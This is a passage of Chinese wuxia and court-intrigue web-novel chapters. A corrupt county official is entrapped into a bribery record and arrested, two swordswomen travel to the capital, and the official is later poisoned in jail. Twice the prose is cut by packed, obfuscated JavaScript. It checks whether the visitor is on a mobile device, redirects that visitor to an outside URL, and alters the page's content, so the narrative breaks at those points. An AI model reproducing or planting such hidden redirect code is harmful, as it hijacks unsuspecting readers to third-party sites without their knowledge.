冯源对于当官的执念当然不会因为一个高手而消失，东梁朝庭中武者不多，但是江湖上却不敢对朝廷命官如何，那完全是因为只要朝廷愿意可以通过各种方式施压，杀一个武榜前十的强者完全不在话下，所以冯源看来只要他今晚活着走出潇湘阁，那这样人在他面前也不过死路一条。想到这冯源不禁轻松了不少，脸上堆起笑容对那女子说到：“楼主说笑了，本官只是到了凉山县有些日子，却从未到访过这潇湘阁，今日才想带着兄弟们来照顾照顾你们的生意。今日能见到楼主也是我冯某的福分，还不知道楼主怎么称呼，不妨我们坐下慢聊。”说罢便侧身让出了桌椅。 就在二人坐下之时，冯源只觉得有阵门风吹过，却不知道那风却是地府传来的消息。 东梁小记：要说这当今圣上也是一名奇人，自东梁建国以来都是帝王都是嫡长子，唯独这当今圣上，虽为庶子出身但是行事狠辣，杀伐果断，在继承帝位之前，也亲赴边关，提兵调将都是一把好手，后面得了先帝赏识，再加之太子势弱，着实令人失望，先帝临终之时，便将这国家大业托付给了他。 不过世人对于他的说法还不止于此，在民间流传着“阴宰相”一说，据说这圣上身边除了当朝的宰相以外还有一位暗处的高人，这位高人手中所掌握着整个东梁王朝的命脉，每一次朝野动荡都会有这位“阴宰相”的影子，甚至有人说当今圣上只是这位“阴宰相”的傀儡，不过这样的言论也自然被扰乱民心为由暗中处理了。却不知道是不是这样处理的缘故关于“阴宰相”的流言越传越玄乎，在民间甚至有些为了考中科举的士子将这“阴宰相”当作神佛来祭拜，有些脑子聪明的商人为了敛财，还为其修筑了庙宇，每年遇上科举考试之时，还有不少香火，无论是那些学子是否中榜，总有一群商人在那会乐得合不拢嘴。 4. 凉山县尉2 今夜的凉山县人头攒动，街上多了一群陌生面孔，他们先后拜访了县衙，冯府，而今又正在前往潇湘阁。凉山县不大，百姓们只见多少都混个眼熟，平日里虽然也有往来的商队，但是今日这走街串巷的人看起来可不像什么商队，虽然人人身着便装，但是从他们的眼神中就可以看出，他们与平民百姓有着天然之别。为首之人显然年仅三十出头，却眼神坚定，仿佛早已看透凉山县现在这祥和表面下的污垢， 此时潇湘阁内，冯源见对方愿意落座详谈，所谓人为财死，鸟为食亡，就算这丫头是潇湘阁的楼主又如何，日后都要在这凉山县混，得罪了他这父母官，对他们没有半分好处。再说刚刚打照面之时，冯源就感受到若是与这潇湘阁对着干恐怕唯一的后果就是两败俱伤，但是若是好好利用行商之道，说不好自己还可以小赚一笔。 几人落座后，有仕女上了茶水，冯源抢先说道：“听闻潇湘阁的楼主是个个身手不凡，今日得见果然名不虚传，只是还不知楼主尊姓大名。” 说话间对面的女子却看都未看他一眼，只是淡淡说到：“冯大人言重了，再名不虚传在您这不都得俯首做小。我叫什么不重要，冯大人若觉得称我楼主降了您的身份，就叫我萧姑娘吧。” 听到这话冯源身后的几个人都有憋不住了，几欲出声呵斥，却被冯源给拦下了。冯源不置可否的笑了笑说到：“那萧姑娘冯某就不客气了，我们县衙的官人也是清白之身，今日来潇湘阁也是想和萧姑娘谈谈条件。这只是没想到遇到那群不长眼的给我们之间增了这么多嫌隙，还望萧姑娘不要介怀。”说罢冯源又赔着笑脸给对面女子的杯中满上茶水。冯源现在只盼着这楼主给条件答应下来，日后不要和自己对着干，那这样自己也不用大费周章的铲除这凉山县的摇钱树。 果然冯源得到了他预想的结果，女子喝了一口他倒的茶，眼神中带着几分兴趣地问到：“那就不知道冯大人打算开个什么价？”对方愿意谈那冯源可高兴了，忙说道：“冯某早就听闻潇湘阁楼主精通生财之道，今日一见果然是聪明人。那冯某也就不遮掩了，萧姑娘想必也知道冯某为了凉山县能够发展的更好，给凉山县集资一笔资金，但是单凭冯某一人也是独木难支，不如请萧姑娘一起我们用这笔钱给凉山县好好规划规划。” 这话一出后面看热闹的人群一阵骚乱，冯源的手下也是警觉了一下，但是发现人群并没有做出什么过激的行为，所以也并未多留心。却不料在他们没注意的地方，几人被一个素裳女子轻声拦住，只听她说：“季大人莫要着急，妖雪为此可是准备了不少，不妨再听听，后面的内容应当更精彩。”这才让谈判继续进行。 “冯大人收这孝敬钱凉山县人尽皆知，倒也不必说得如此委婉，不过若是冯大人愿意为凉山县谋划，我潇湘阁倒是义不容辞，只是不知道冯大人打算怎么安排。”听到楼主说出这话，就连楼中一些鸟雀和伙计都忍不住开始议论。他们都是凉山县的百姓，虽然与这楼主接触不多，但心里总觉楼主不应当这样，那岂不是与那县尉沆瀣一气，日后一同压迫他们。不过这次骚乱倒是被轻燕压了下来，她说道：“各位稍安勿躁，楼主应当另有安排。” 听到对方说这话，冯源那是乐得嘴角都压不住了，急忙说道：“萧姑娘这事好说，这事好说。你觉得我们五五分账如何？” “五五分账？”要说冯源还是老奸巨猾，他说个五五分账，却不说金额，倒是分来一两银子他还说自己只收了二两，这要是真的传到巡检司的耳朵里，都不能拿这恶霸怎样。 见对方虽然只是质疑却没有否认，冯源更是心中大喜，更何况他根本没有打算分账，他要的不过是今晚活着走出这潇湘阁。他定然会让这棵摇钱树彻彻底底属于他。 还不等冯源继续发话，就听得对方又说道：“五五分账也不必了，不如就一口价吧。冯大人觉得五千两如何？”说着伸出了五个指头。 冯源心中暗想，这人还真是狮子大开口，要知道这几天他收的白银也不过三百多两，除非将凉山县那几个大家族也都交了，他才能拿到五百两，如今这人开口就要五百两，那若是他冯源给了自己还剩什么。 见冯源不说话，女子又说道：“冯大人是心疼了，但是我所知冯大人收这钱虽说是为了凉山县的建设，但是终究还是于理不合吧。我收你这钱我可是大有风险的。” 听到女子这样说，冯源赶忙接下：“萧姑娘多虑了，这萧山县之前没有金榜题名走仕途，之后也不会有，再说萧山县地处偏僻，若是事发我只需要打点打点关系，这是不会影响的。” 听到这解释，女子轻笑一声说道：“冯大人还真是高瞻远瞩，只是只要你说服了我，那县上那几个大家定然不攻自破，所以我要多一些但是我们四六分账，你四我六，而且每次不得少于五百两。” 听到这话别说那些衙役了，就连冯源都忍不住拍案而起，说到：“你好大的口气，萧姑娘你不要忘了我是官你是民。官子两张嘴，是吃人还是吐金，可全凭我说了算。” 可惜冯源这样的话并没有威胁到女子，只见对方同样起身说到：“确实冯大人是官，只是冯大人对于凉山县的了解太少了，或者对于我潇湘阁的了解太少了，我恰好认识几个客人，那可都是京都说得上话的，不知道这样的话冯大人觉得我刚刚的条件是否还太苛刻？” 听到这话冯源的脸色更差了，心里算盘打得哗啦响，最终憋了半天才说道：“是冯某考虑不周了，之后便依萧姑娘的了。” “那既然说定了，不如就算算吧，据我所知的冯大人现在现银怎么说也收了四百两，您也是第一次收，现在时间也仓促，我就不多问你要你看三百两合适吗？不过今日你们吓坏了我这的姑娘，还有这些桌椅钱之后还是要另算的。” 事到如今，冯源深知今日若是不拿钱他恐怕都出不了这门，无奈只好从口袋中掏出几张银票，合计合计不过一百两。有些尴尬的递了过去说道：”萧姑娘，今日出门冯某确实带钱带的不够，这些先给你，之后的我再差人送过来，您看如何？” “当然可以，只是冯大人我们也是第一次打交道，不妨立个字据吧。” 女子话音刚落，轻燕便把纸墨呈上，现在冯源只想赶快脱身再叫人端了这潇湘阁，所以不再推脱，提笔就写，可刚落笔又听到那女子说：“冯大人最好把我们分的是什么钱，从哪里来的写清楚，免得之后我不小心就动了冯大人自己的钱袋子那可不好。” 冯源急忙点头，然后二人有商有量一纸字据很快就写好了。女子又认真的看了一遍，满意的点点头。 冯源见事情告于段落，急忙带着手下离开，只是还没走到门口，便听到那女子说：“季大人，不知道这个作为证据够不够。” 不等冯源回头，前面就被两把剑拦住了去路。转头便看到，人群中便走出一人，亮出了巡检司的腰牌，对着手下说到：“凉山县县尉冯源，搜刮民脂，行贿受贿，如今证据确凿，给我拿下。” 冯源顿时是慌了，虽然他只是一个小小的县尉，但是他也知道这巡检司是什么样的存在，巡检司的官员是从各司中挑选出来兼任的，没有官职高低之分，负责监察百官。如今这女子称他为季大人，恐怕是刑案司的正职季执礼，此人素来与其他官员淡交，恐怕就是说人情也不是那么好说。但是冯源现在死到临头了也顾不上什么了，急忙跪下说到：”季大人明鉴呀，这都是那个贱人构陷我的，您要为我做主。” 只听得季执礼说道：“构陷？那这白纸黑字写的明明白白，这还是构陷？还是说冯源你在质疑我的眼睛，从你们坐下谈判我可是一直都看在眼里。” 冯源听到犹如神仙冰窖，突然从袖口中又掏出几张银票塞到季执礼手中说到：“季大人季大人，一点心意，我之前在京都也做过几天钱德仕钱大人的门客，您看这事？” 下一秒冯源便被季执礼掀翻在地，季执礼怒道：“冯源你公然行贿巡检司，罪加一等。至于你说的钱大人届时会不会愿意为你向巡检司求情，你大可以一试。” 冯源只感觉自己的四肢像是被冰冻了一般，根本动不了。就在这时一个巡检司的官员进来禀报道：“季大人，按照之前潇湘阁提供的线索，已经在冯源家中搜到账本，核对后无误，共计白银三百余两，珠宝首饰三箱，以及……” “以及什么？”季执礼问道。 “以及良家女子五人，她们见到我们甚是恐惧，兄弟们尝试了几次都无法沟通。” 听到这话季执礼更是火冒三丈，他真没想到一个小小的县尉，才来这不过十天，就如此行事，就因为这县闭塞，就因为他在京都有点人脉，简直无法无天。若不是巡检司有规定他现在真的想揍这蛀虫一顿。 “来人，把人带回巡检司，之后好好审讯，把那些他收的孝敬按着账目归还回去，那几个女子……”季执礼想到也是一阵头痛，她们现在恐怕对官家都有阴影，他们很难给他们一个安顿。 就在季执礼思考的时候，刚刚与冯源对峙的那女子上前来说道：“季大人，那几名女子我安排楼里的人过去吧，都是女子，她们应当更好接受一些，之后再把证词给你送过去。” 如此燃眉之急能化解，季执礼也是松了一口气，对着女子说道：“那便有劳萧楼主了。萧楼主这次提供信息可是帮了大忙，若不是你，还不知道这个祸害要做出多少伤天害理之事。今日巡检司已经将此人逮捕归案，便不多打扰了，这次事情的报酬之后会有人送到潇湘阁的。” 见季执礼着急走，萧妖雪也不多留，便差人送客，这一荒唐事终于是告于段落。 至于后事，便是凉山县新来县尉非常注重文风，凉山县没出几年，便出了几个进士，县里的生活也越来越好。 送走季执礼后，轻燕来到女子身旁，说到：“妖雪，这次真是谢谢你了，之前那冯源为了收孝敬钱把我爹爹的腿都打断了，若不是你这次联合巡检司把这毒瘤给除了，我们都不知以后日子怎么过。”说着轻燕的眼泪百年不由自主的往下落。 不错此人正是之前被萧云雁带回潇湘谷的萧妖雪，在谷中学艺几年后，正逢凉山县新建了潇湘阁，她便来这里做了楼主。三年中她把这个潇湘阁经营的风生水起，在潇湘阁众多楼主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧妖雪听到这话，先是内心一阵激动，过后却有近乡情怯的感受。当年被萧云雁带回谷中她不是没想过偷偷离开，可是当她真正开始习武，开始阅读书堂中那些当朝秘闻之时，她才感受到潇湘阁的强大，后面读了不少与鬼月相关的案卷，她也隐约感受到，自己遭遇的那次刺杀或许与鬼月之案有着密不可分的关系，而留在湘湘阁自己会比溜出去活得更久，变得更强，如今一切都是为了回去的那天作准备。可如今真到了要京都，萧妖雪难免还是有些紧张，这些年她帮着萧云雁和文妆处理了不少事情，可是没有一件与京都有关，那里对于她来说是就像一个没有一丝光亮的黑盒子，但是却散发着巨大的诱惑。 萧云雁小记：开元二年，东梁日益安定，江湖上各宗各派也从战争的余波中恢复不少，纷纷搭起了擂台，邀各路英雄前来交流天下武学。此时正逢萧云雁离开潇湘谷四处游历。这日途经玄宗，这玄宗在江湖算不上什么大门派，不过似乎在当地有些名声，如今也是赶着擂台比武的风潮，邀约各路豪杰。萧云雁这几日便住在离玄宗不远的客栈，满耳都是江湖人在谈论这玄宗的擂台赛。只说现在那擂主交互人称耍猴棒，一根铁棒已经连守擂台三日，若是在无人将他打败，那么这次玄宗许下的那三本武功秘籍，以及千两黄金就真的要落入此人之手，一些跟风的人已经将此人捧得天花乱坠了，说什么明年武榜前十必有他一席之地。更有甚者，已经为这次玄宗擂台赛的胜者摆下了堵局，只是这赌局完全一边倾，几乎所有人都压在了耍猴棒上。萧云雁已经在逗留了数日，本意明日就离开，却不料在酒肆饮酒时发生了意外。 一群人竟然带着赌局来到了酒肆，几个壮汉把大门给拦上，开始让酒客们强行入局，而且只让押耍猴棒输。恐怕是现在看着比武已经接近尾声，若是无人押对家他们这赌局要赔得血本无归了，才行此下三滥的手段。萧云雁坐得地方很快便有人过来问话，而其他桌已经有拒绝赌局的人被这写赌坊的大汉暴打一顿的情况。面对满脸横肉的大汉，萧云雁也只觉得烦闷，但是眼看他们的架势若是今天不收购足够的钱财，那么这整个酒肆的人都难逃一劫。 突然萧云雁想到一个绝佳的方法，可以让一好好教训一下这些没脸没皮的强盗。 “诸位我这有黄金十两，你们看看够不够，够的话也就别为难这里的食客了，我全部押那人赢不了。”萧云雁用了点气息，让酒肆中的人都听得一清二楚，不少食客感激的看着她。但是赌局的人哪有那么好说话，他身边的大汉二话不说就把那十两黄金拿了过去，不屑的说句：“黄金十两也不错，看在你们实相，今天就到这，各位明天要是不想出钱，可记住了千万别去喝酒，我就讨厌那些哭哭啼啼的。特别那些个大男人，哭起来又难看。都说男儿留学不流泪，下次见了再哭，我就把你眼睛给挑了，流血总比流泪好看。”说罢又拿起萧云雁桌上刚上的酒喝了一口，再带着那群恶汉离开。 见那些人走远，刚刚被打的几个比较重的食客赶忙上来道谢，真心诚意拿出些银子，感谢萧云雁。但是萧云雁却一分都没有收，还安慰他们说，会让他们尝尝苦头的。 在酒肆的角落中坐了一个男子带了两个随从，男子虽然穿得朴素但是但从他腰上挂着的玉佩就可以看出此人定然家境不凡，两侍从的刀一直用破布裹着，但是在刚刚赌坊的人进来的时候已经露出了来，识刀之人只需一眼就可以看出，这刀是出自当世锻刀世家叶家。男子仔细打量着萧云雁，半晌之后对着一个侍从说：“徐战，你去把今晚的房费再续一下，我们明天去看比武，一定是场好戏。” 5. 初遇袁梅 京都李府，李治的妾室王氏坐在会客厅的主位上，下面站着一个十六七的女子，虽然看起来衣裳简朴，但是只要仔细观察可以看出这女子的容貌经过精心的打理，眉宇之间与李治有那么几分相似。 王氏问道：“你说你是当年李府走丢的千金李婉？你有什么证据证明？” 女子似乎感受到王氏气场，有些胆怯地说道：“是的夫人，当时我路遇歹人行刺，侥幸逃出生天，被一对农家夫妇收养，但奈何所居之地太过遥远，养父母身体欠佳，我给他们养老送终之后，才孤身一人来到京都，希望认祖归宗。若是夫人不信，我可以与李大人滴血认亲。”女子所言诚恳，说话间语气竟然已经带上了哭腔。本以为这样或许就能换来就能换来更多的同情，不了王氏只是冷冷的说了一句：“姑娘别费那心了，我家老爷也不是天天这么闲，可以和你们挨个滴血认清的。李婉十年前就已经死了，李府也再也不可能会有一个叫做李婉的千金了。来人送客。”说罢便起身要走。 女子看到入豪门无望，便歇斯底里地说道：“说什么李婉死了，我看你就是因为做不了正室，所以根本不想李婉被认回来，要是李相知道你有如此歹毒的心肠，不知道会怎么想。” 王氏却不以为意，挥挥手示意手下把这女子给拖出去，在她被拉走的一路上还是满嘴谩骂，王氏只心想，如此为人就算真的是李婉，现在也不配再回到李府，更别说李婉已经死了，这可是老爷亲口说的，又怎么会错得了呢。 王氏转头对着身边的仕女问道：“这是今年第几个？” 仕女扳着指头数了数回到：“回夫人，已经是第五个了。” “这才开年不久，就这么多了，这样也不知道什么时候是个头。” 离了凉山县，萧妖雪一路向京都前行，内心确是响起昨夜与萧云雁告别之时她所说的话，师傅说说了两件事一是让她记得此去京都她需要一个名正言顺的身份，那么对于萧妖雪来说认祖归宗回到李家一定是最好的选择，也是她这些年一直期待的。只是这些年通过卷宗对李治了解，萧妖雪觉得自己对这个父亲有些陌生，似乎在他眼中价值大过了一切。而萧云雁嘱咐的另一件事便是京都之中只谈生死不谈爱恨，这句说萧妖雪昨夜就咀嚼了很久，但是总觉得其中还有内涵看不清。 虽然萧妖雪自那年之后再也没有进过京都城，但是从凉山到京都的路她却反反复复走了好多次。距离不远，沿途都有村落可以打尖住店，萧妖雪为了遇人，这次并没有骑马，而还是不急不缓走上官道。时近傍晚，日薄西山，也未有寻找客栈的意思，夏日的天气炎热，倒也不必特意寻一处旅店，再花着冤枉钱，萧妖雪也不似萧云雁那般喜欢落脚于青楼之类的地方，于是顺路走进一片树林，翻身上树，在一根比较粗壮的树枝上就歇下了。时近黄昏，树林中已经彻底黑了下了，若是在寻常人眼中这树林就是黑得伸手不见五指，不过萧妖雪经过这几年练气养身，耳力目力已是超乎常人，在这树林里，哪怕是树枝上的夏蝉也是看得一清二楚。 这一路过来，萧妖雪就听闻说最近这边很多难民，似乎是因为西边的匪患猖獗，所以不少有能力离开人，就跑到了京都附近落脚。但是随着难民而来，还有一些心术不正之人，最近这一地待小偷小摸的人越来越多，甚至还有入室行窃之徒，当地官府为此也是操碎了心。 正当萧妖雪正准备休息，本应安静的树林中却传来脚步声，若再仔细听，会听到树林外还有人群的喧哗。此次离谷萧妖雪有了师傅的嘱托，在见到李治之前她不想多事，所以不想凑这热闹。 可往往就是人不找事，但是事会招人。正当萧妖雪隐去气息准备休息之时，萧妖雪感知到不过树林的不远处有一股气息，那人气息沉稳，步伐有力，也应当是一习武之人，不过似乎有一丝慌乱，恐怕是在这树林子里迷了方向，不过按那人的实力应当不一会也能抓住毛贼。不过看着火光越来越近，显然今夜他们并不将希望寄托在林子那位高人身上，今天晚上他们不亲手抓住这毛贼是不可能放过这片树林的宁静，如此看来这树林今晚是待不得了。 正当萧妖雪准备离开，一道黑影从眼前窜过，这样的身法不难看出就是江湖上那种名不见经传的飞贼，恐怕是从哪里偷师了一套轻功，气息凌乱，显然学艺不精，也就是骗骗那些平民百姓。但是话又说来，听远处那群人的说话气息，也显然不是练武之辈，一时半会是很难发现得了这半瓶醋的小毛贼，而他们口中却隐约喊着袁女侠，这个袁萧妖雪猜应当就是袁清的袁。 既是如此，萧妖雪突然灵光乍现，飞身下树，向着毛贼逃跑的方向追了过去，转眼间便到了毛贼身后，一个擒拿便将这半瓶醋撩翻在地。 “晦气，怎么又一个。”毛贼见状暗骂一声，但在感受自己已无逃脱可能时，便开始连声求饶：“英雄、好汉求求你放了我呀，我一家老小逃难到此处，就这点活计，求求你给个生路，你要什么我都给你。” 听口音这飞贼确实是从西边来的，但是此人却贼眉鼠眼的，恐怕之前在老家也是靠这手艺谋生。萧妖雪看了看他身上的口袋，满满当当装着他今天的战利品，里面不少是当地百姓过活的命根子，只是于她而言却值不了几个铜钱。 “我问你答，别给我说那些没用的。”萧妖雪懒得废话，边说便把这毛贼吊了起来。 “诶诶，女侠你别绑我呀，我什么都说，我什么都说。” “西边出什么事？” “西边？西边来了伙强盗，倒也不伤人，就整天在那里大漠里游走，动静挺吓人。我家八十岁的老母亲都不小心被他们的马踹到，现在腿还瘸着，所以我这不是摸点金创药给她老人家用用。还有我家那小儿子，他之前被……” 正经的消息他就说出个西边来了匪徒，其他有用的是一句都没说。此事胡笳城湘湘阁传回谷中的消息也有提到，但是只是寥寥数语，感觉并不是什么严重的情况。而且近些日子似乎已经好了很多。 不想再听这毛贼喋喋不休，萧妖雪拿了块破布把他的嘴给堵上，不给他支支吾吾的时间。就在这时萧妖雪感受到树林的黑暗之处的那道气息突然逼近，显然刚刚抓飞贼的动静给了林子里那位一个方向。 眨眼的功夫树林中就冲出一女子，女子身着黑色衣袍，头发高高束起，腰间垮着一把弯刀，面容姣好，弯眉大眼，在那胭脂榜上虽然排不上前十，但是这容貌却不似那种深闺大院中的女子总是带着一分哀愁几分算计，反倒是有那种男子身上的豪气，看起来就是干练之人。女子人未到而声音先至，她扬声道：“黄耗子，你挺能窜的，你跑呀，今天你姑奶奶我非叫你去见见那青天大老爷长什么样。”话音落时她也站定，看到她所说的黄耗子已经被人反手绑好挂在了树上，旁边站着的素裳女子女子，正在上下打量着她。 本来就要得手的猎物就被人捷足先登了，黑衣女子有几分不爽，但不是江湖气结告诉她，都是对抗贼人，此等好事不应分你我，至于眼前这人看起来气息平稳，应当是习武之人，之后可以再找个机会和她好好切磋。于是抱拳说道：“多谢姑娘出手相助，在下袁梅，敢问姑娘怎么称呼。” 萧妖雪看看地上财物又抬头看看那黑衣女子道：“在下萧妖雪，袁姑娘我替你抓了贼，你是不是应该给我一点谢礼？” 袁梅显然被这一上来就开口要钱的帮助震惊到了，又感觉现在拒绝也不太好，呆愣愣的开口道：“那是……自然，萧姑娘要什么？” “我要去京都，但是一路上孤身一人甚是无趣，不知袁姑娘可否与我一同前往？” 袁梅心中疑惑，她行走江湖有一段时间，对方身手不凡，但似乎对自己并没有恶意，只是不知道为何她好似知道自己的目的就是京都。那她会不会还知道些其他的。不过袁梅向来行事坦荡，萧妖雪帮了自己，而且她也只是要求同行，自己只需要注意好言行应当无妨，这一路还可以顺便打听打听对方什么来头。毕竟以后要在京都做的事，她还是需要些帮手。 “萧姑娘的要的这谢礼还真是独特，我恰巧也去京都，我们便同行就好，至于谢礼……这路上的钱我出了。” “袁姑娘大气！” 二人一拍即合，又看看被吊在树上的黄耗子，听见远处村民的脚步越来越近，其中还有官差办案的声音混杂其中，当下，便决定不再去理会吊在树上的黄耗子，二人直接相继走出树林。 此时夜已经过半了，二人走出树林后并未再寻地方休息，而是借着月色继续赶路。 袁梅看气氛尴尬便开口问道：”萧姑娘你此番进京是有何要事？“ 萧妖雪回道：“我是去寻亲的，我自幼和父母走散，幸得师傅收养，才得以活到今天。妖雪大胆猜测袁姑娘是去退亲的吧？” 袁梅心中一惊问道：“你似乎知道很多？” 萧妖雪微微一笑：“你方才打水时打开包裹，我看到了里面的婚书，这女子带着婚书进京无非就是找男人兑现承诺又或者销毁承诺。我看袁姑娘性情洒脱，定然是不想被这父母之命，媒妁之言困住。所以我猜你是去退婚的。” 虽然这个解释也是合理，但是袁梅的警惕又升高几分，不禁岔开了话题：“之前在树林中就看出萧姑娘身手不凡，刚刚又听萧姑娘说已经拜师学艺，不知师从何门？” 萧妖雪却不避讳说道：“我在潇湘阁学的艺。想必现在袁姑娘的疑惑都可以解释了吧。” 袁梅听到这话也是松了一口气，当时自己在外游历，兄长就多次嘱咐，这个江湖谁都不可以信，若是有求便去潇湘阁花钱。如今对方是潇湘阁的人，之前的戒心也放下了几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556990|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 之后二人一路上又聊了不少话题，关系也渐渐熟络起来。袁梅在附近一小镇长大，这次入京是为了找那素未谋面的丈夫退婚，据说两人都还未出生时便被指腹为婚，后面那男子出生不久，他们家便举家迁到了京城。如今两家也是许久未联系，袁梅则是自幼拜了一个江湖侠客为师，看遍大山大河，性情也比寻常女子更加洒脱。如今这一回家就被拴上这指腹为婚的婚事，也是满腔不情愿，一怒之下便打算亲自到京城退婚。 翌日中午二人在河边休息，袁梅倒是不拘小节，脱去鞋袜就下水捞鱼，萧妖雪也想帮忙，却被袁梅拒绝了。虽然在袁梅知道萧妖雪的身手不错，但是这段时间接触下来，她只觉得平日里的萧妖雪就是一个柔弱的女子，这样的粗活袁梅竟然有些不舍得让她插手。不过萧妖雪自然也不能当甩手掌柜，附近树林中拾来些树枝，不一会就把火给拢起来。二人简单饱餐一顿。话题绕到了萧妖雪去京都的目的。 其实自那年之后，萧妖雪无论对谁，都不想谈起这些事情，只是现在眼看就要进京了，有些问题也不得不地面对。袁梅的袁是袁清的袁，而袁清就是当年鬼月的首领。这些年看的卷宗，得到的消息无一不透露着自己当年遭遇的刺杀与鬼月有关。如今袁梅进京也定然不只有退婚那么简单，前不久春闱的名单公布了，上榜者有一人名叫袁墨，袁清的袁。这样看来局势愈加扑朔迷离，袁梅对她没有全盘托出，那同样自己也是一样。 “我是去寻亲的，我自幼与家里失散，后面索幸得了潇湘阁中一个姐姐的帮助，才有幸有了今天。如今那姐姐已经赎身，我也没必要再留在潇湘阁中，这不就想着回京都碰碰运气。” 袁梅为人豪爽，听到萧妖雪这经历就深感同情，都没来得及多想，便立下豪言一定要帮她寻到亲人。 莫大江湖，二人便这样一拍即合，相伴前往京都，本欲想着一鼓作气进了京都再休息，奈何天公不作美，看到京都那巍峨的城墙之时，也看到了盘踞在京都顶上的黑云。正值夏末秋初之时，雷雨天气来得突然，眼看暴雨将至，二女也不着急赶路，寻了路边一茶摊坐了下来。点了一壶清茶，便听旁桌谈天说地。那人也是话多，一开口便滔滔不停从哪家哪家千金要出嫁讲到京城哪家的豆腐脑味道最好，从有什么官员新上任讲到那个地痞无赖被打了一顿，这些个新鲜事听起来已经是经过不知道少的加工，就只是一听一乐而已。眼见雨势渐小，萧妖雪二人正准备起身离开，不料旁桌又来一嗓子：“不是我说你呀，现在这京官不好做了，你看看春闱上榜的那几个没有靠山的，谁的官好做，那都是发配边疆的苦活。你都三十好几了，就别老想着这发财的路子了，你虽然之前确实去拜会过李相，但是呢现在京中这镇远大将军要回来，那李老狗的好日子要到头了，两个人还不知道要怎么斗呢，你现在去考这京官，不妥妥的找不自在吗？要我说呀你还不如……”萧妖雪和袁梅都是一愣，这食客口中的李老狗自然是指前些年一步登天的宰相——李治。 萧云雁小记：书接上回，说道萧云雁掷下十两黄金买那耍猴棒会输，这消息很快就传遍了镇子，但是眼看已经快到最后公布的时刻了，却还是无人战胜耍猴棒，不少押注他会赢的人心中已经乐开了花。眼看太阳西斜，玄宗的人已经开始准备之后的事情了，擂台前也是人影稀疏。却有一人缓步来到擂台前，本来懒懒散散的几人，看到来人是一女子，也提不起一点兴趣。可下一秒，那女子尽然翻身上了擂台，高声喊道：“在下萧云雁，前来攻擂。” 声音落下，却并未得到回应。 “在下萧云雁，前来攻擂。” “在下萧云雁，前来攻擂。” 连喊三次，声声入耳，终于把那耍猴棒给叫了出来。 看到来人是一女子，耍猴棒也是非常不屑道：“这都最后了，小娘子我看你也别费力了，这擂台是比武的，不是比琴棋书画，吟诗作对的。”这话说完台下人群中也是一阵嬉笑。而却唯独有两人没有笑，一人便是昨日酒肆中那人，而另一人看起来年纪更小，但是自从萧云雁上了擂台，他的眼睛就再也没从她身上离开过，那眼神中不是对女子的爱慕，而全全是对武学的渴望。 萧云雁看着对方这般模样，心中难免火气上升。缓缓地长剑出鞘，一句话带着气息便压迫过去：“现在可以开始了吗？” 身旁的裁判才略微点头，便见一道白光划过擂台，耍猴棒反应不慢，抬棍抵挡，但是在与白光接触的下一秒就远远的飞出去了。手中棒子更是断做两节。 此时台下原本骚乱的人群已经安安静静。唯独之前没有笑的两人却同时带头鼓掌叫好。 之后萧云雁去了赌坊，拿到近十倍的赌金，却没拿玄宗的战利品。之后乘着月色便离开了镇子，只是她也带走了一个小尾巴。 6. 雨后京都 京都巡检司的，冯源虽然整个人无精打采的缩在角落，但是每每有人从外面经过之时，他都会抬眼看一下来人，然后又失望的的缩回角落。 这次冯源也不记得自己是第几次怀着希望抬头，本以为这次也是路过的无关之人，却见那人竟然径直走向自己的牢房，冯源蹭的就站起来扒着门框，眼泪止不住的流，嘴里不停的说道：“救救我救救我，求求你救我出去。” 来人是家仆模样，但是目光却是呆滞的，走路姿势也非常僵硬。手里拿着一个简单的餐盒，走到冯源牢房门口，看着趴在那苦苦摇尾乞怜的冯源不禁叹了一口气道：“冯源，时间有限我可没空安慰你。” 冯源听到这话急忙点头，但是眼泪还是忍不住往外流。 “凉山县调查得怎么样？” “凉……凉山县后面有座山，之前那些个山匪就是在那山里做窝。他们说山里面确实有很大一个庭院，平日里出入的也是女子。他们也尝试过几次摸进去，但是那院子不仅有阵法防护，而且其中不乏高手，他们都无功而返。所以小的大胆猜测，那里应该就是主人要找的地方。” “只有这些？”家仆显然对冯源的回答并不是很满意。听到家仆的质疑，没有气息的压迫，也没有厉声呵斥，冯源却霎时间抖若筛糠筛糠。急急忙忙说道：“有……有！我这次在凉山县的潇湘阁遇到了他们楼主，我觉得此人不简单。” “不简单？”显然那人提起了兴趣。 冯源急忙接着话说道：“本来按照主人的安排，我这次在凉山县呆上三五年不成问题，但是那楼主竟然与巡检司通了气，潇湘阁一般不会主动沾染政事，这很显然就是我的出现威胁到了他们。而且这次来的是季执礼，众所周知他在巡检司可不是一般的人物，这个凉山县潇湘阁楼主绝对不简单。而且而且，她姓萧！”说完这些话，冯源像是用尽了所有力气，膝盖一软跪倒在地上。 “姓萧呀，那确实有趣。这个消息你打探的很不错，这个给你，安心呆着吧，一切都会是最好的安排。”说罢那人将食盒送进了牢房，转身便离开了。 冯源打开，里面是一壶清酒还有个一盘下酒的小菜。而小菜的盘子底下却放了一张折好纸。冯源并没有打开，但是刚刚收住的眼泪，再次不受控制的流下。 这次他再也没有为官者的风度，用手抓着小菜就往嘴里塞，就着酒壶直接往肚子里灌酒，但是下一秒，他的七窍中就开始流出鲜血，之后便重重地倒在了地上，彻底失去了生机。 门外的守卫听到动静前来查看之时已经回天乏术，旁边的桌上静静地放着一封谢罪书。此事很快就传到此案主办官季执礼的耳中，但是随之而来的是，当时来探监的那个家仆回去后也死在了自己家中，而且仵作验尸后确定，那人已经了死了三天，那么今日出现在牢中之人定然不会是他本人了。出了这么大事季执礼本意是下令严查，可是还未等他法令，五皇子就带着一道圣旨来了，只说贪官冯源以死谢罪，此案便就此了结，季执礼破案有功当赏。 